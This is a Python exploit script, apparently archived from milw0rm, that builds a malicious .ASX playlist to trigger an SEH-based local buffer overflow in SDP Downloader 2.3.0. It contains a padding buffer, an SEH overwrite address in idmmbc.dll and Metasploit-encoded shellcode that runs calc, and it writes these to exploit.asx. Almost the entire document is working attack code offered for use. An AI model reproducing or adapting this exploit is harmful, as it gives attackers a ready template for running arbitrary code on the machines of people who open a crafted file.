SDP Downloader 2.3.0 - (.ASX) Local Buffer Overflow Exploit (SEH)

                                                #usage: exploit.py
#[x]Note: In this case we have the problem of the safe_seh, but if the machine uses (idm)
#            	and the option "Use advanced browser integration is selected,then idmmbc.dll will be loaded the most of time.
print "**************************************************************************"
print "SDP Downloader v2.3.0 (.ASX) Local Buffer Overflow Exploit (SEH)\n"
print " Founder: Cyber-Zone"
print " Exploit code: His0k4"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz),snakespc.com\n"
print "**************************************************************************"
         	

header1 = (
	"\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33"
	"\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54"
	"\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54"
	"\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46"
	"\x3D\x22\x68\x74\x74\x70\x3a\x2f\x2f")

header2 = (
	"\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59"
	"\x3E\x3C\x2F\x41\x53\x58\x3E" )
			
buff = "\x41" * 529
next_seh= "\x74\x06\x90\x90"
seh="\x89\x69\x01\x10" #idmmbc.dll
#seh = "\x43"*4
junk="\x44"*50000

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x56\x43\x36\x42\x30\x5a")

exploit = header1 + buff + next_seh + seh + shellcode + junk + header2

try:
    out_file = open("exploit.asx",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-04-27]